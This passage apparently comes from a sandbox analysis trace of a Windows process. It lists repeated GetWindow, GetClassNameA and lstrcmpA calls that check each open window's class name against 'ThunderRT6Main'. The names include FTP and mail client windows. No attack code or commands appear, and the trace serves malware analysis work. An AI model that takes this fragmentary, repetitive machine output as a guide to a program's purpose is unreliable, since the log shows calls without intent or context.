lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0128.442] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0128.442] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0128.442] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.442] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0128.442] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0128.442] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0128.442] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0128.442] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0128.442] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.442] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.442] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0128.443] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0128.443] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0128.443] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0128.443] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0128.443] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0128.443] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0128.443] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0128.443] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0128.443] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0128.443] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0128.443] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0128.443] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0128.443] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0128.443] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0128.443] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0128.443] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0128.443] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0128.443] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0128.443] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0128.443] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.443] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.443] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0128.444] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0128.444] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0128.444] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0128.444] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0128.444] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0128.444] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0128.444] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0128.444] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0128.444] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0128.444] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0128.444] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0128.444] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0128.444] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0128.444] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0128.444] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0128.444] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0128.444] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0128.444] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0128.444] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0128.444] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.444] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.444] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0128.444] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0128.445] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0128.445] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0128.445] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0128.445] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.445] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0128.445] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0128.445] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0128.445] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0128.445] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0128.445] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.445] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0128.445] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0128.445] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0128.445] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0128.445] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0128.445] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.445] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0128.445] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0128.445] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0128.445] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0128.445] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0128.445] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.445] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.445] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0128.445] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0128.445] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0128.446] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0128.446] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0128.446] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0128.446] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0128.446] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0128.446] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0128.446] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0128.446] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0128.446] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0128.446] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0128.446] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0128.446] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0128.446] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0128.446] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0128.446] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0128.446] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0128.446] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0128.446] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.446] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0128.446] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0128.446] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0128.446] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0128.446] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0128.447] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0128.447] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0128.447] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0128.447] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0128.447] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0128.447] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0128.447] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0128.447] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0128.447] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0128.447] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0128.447] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0128.447] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0128.447] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0128.447] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0128.447] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0128.447] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0128.447] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.447] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.447] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0128.448] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0128.448] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0128.448] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0128.448] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0128.448] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0128.448] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0128.448] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0128.448] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0128.448] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0128.448] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0128.448] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0128.448] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0128.448] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0128.448] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0128.448] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.448] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.448] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0128.448] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0128.448] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0128.448] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0128.449] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0128.449] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0128.449] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0128.449] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0128.449] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0128.449] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0128.449] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0128.449] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0128.449] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0128.449] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0128.449] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0128.449] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0128.449] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0128.449] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0128.449] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0128.449] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0128.449] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0128.450] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0128.450] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0128.450] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0128.450] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0128.450] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0128.450] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0128.450] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0128.450] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0128.450] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0128.450] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0128.450] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0128.450] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0128.450] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0128.450] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0128.450] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0128.450] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.450] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0128.450] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0128.450] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0128.450] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0128.451] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0128.451] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0128.451] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0128.451] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0128.451] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0128.451] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0128.451] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0128.451] GetWindow (hWnd=0x10144, 